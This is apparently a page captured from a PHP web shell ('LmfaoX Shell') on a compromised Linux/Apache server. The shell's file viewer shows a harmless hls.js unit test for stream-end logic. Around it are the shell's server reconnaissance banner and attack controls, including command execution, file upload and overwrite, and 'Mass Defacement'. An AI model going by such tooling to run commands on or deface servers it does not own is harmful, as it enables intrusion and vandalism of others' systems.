ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:24.87 GB of 70.42 GB (35.32%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ root/ hls/ tests/ unit/ controller/ - drwxr-xr-x

Directory:
Viewing file:     base-stream-controller.js (2.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import BaseStreamController from '../../../src/controller/stream-controller';
import Hls from '../../../src/hls';
import { FragmentState } from '../../../src/controller/fragment-tracker';

describe('BaseStreamController', function () {
  let baseStreamController;
  let bufferInfo;
  let levelDetails;
  let fragmentTracker;
  let media;
  beforeEach(function () {
    baseStreamController = new BaseStreamController(new Hls({}));
    bufferInfo = {
      nextStart: 0,
      end: 0
    };
    levelDetails = {
      endSN: 0,
      live: false
    };
    media = {
      duration: 0
    };
    fragmentTracker = {
      state: null,
      getState () {
        return this.state;
      }
    };
    baseStreamController.media = media;
    baseStreamController.fragmentTracker = fragmentTracker;
  });

  describe('_streamEnded', function () {
    it('returns false if the stream is live', function () {
      levelDetails.live = true;
      expect(baseStreamController._streamEnded(bufferInfo, levelDetails)).to.be.false;
    });

    it('returns false if fragCurrent does not exist', function () {
      baseStreamController.fragCurrent = null;
      expect(baseStreamController._streamEnded(bufferInfo, levelDetails)).to.be.false;
    });

    it('returns false if fragCurrent has backtracked set to true', function () {
      baseStreamController.fragCurrent = { backtracked: true };
      expect(baseStreamController._streamEnded(bufferInfo, levelDetails)).to.be.false;
    });

    it('returns false if fragCurrent is not the last fragment', function () {
      baseStreamController.fragCurrent = { sn: 9 };
      levelDetails.endSN = 10;
      expect(baseStreamController._streamEnded(bufferInfo, levelDetails)).to.be.false;
    });

    it('returns false if there is subsequently buffered range', function () {
      baseStreamController.fragCurrent = { sn: 10 };
      levelDetails.endSN = 10;
      bufferInfo.nextStart = 100;
      expect(baseStreamController._streamEnded(bufferInfo, levelDetails)).to.be.false;
    });

    it('returns true if fragCurrent is PARTIAL or OK', function () {
      baseStreamController.fragCurrent = { sn: 10 };
      levelDetails.endSN = 10;

      fragmentTracker.state = FragmentState.PARTIAL;
      expect(baseStreamController._streamEnded(bufferInfo, levelDetails), `fragState is ${fragmentTracker.getState()}, expecting PARTIAL`).to.be.true;

      fragmentTracker.state = FragmentState.OK;
      expect(baseStreamController._streamEnded(bufferInfo, levelDetails), `fragState is ${fragmentTracker.getState()}, expecting OK`).to.be.true;
    });
  });
});
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.17 seconds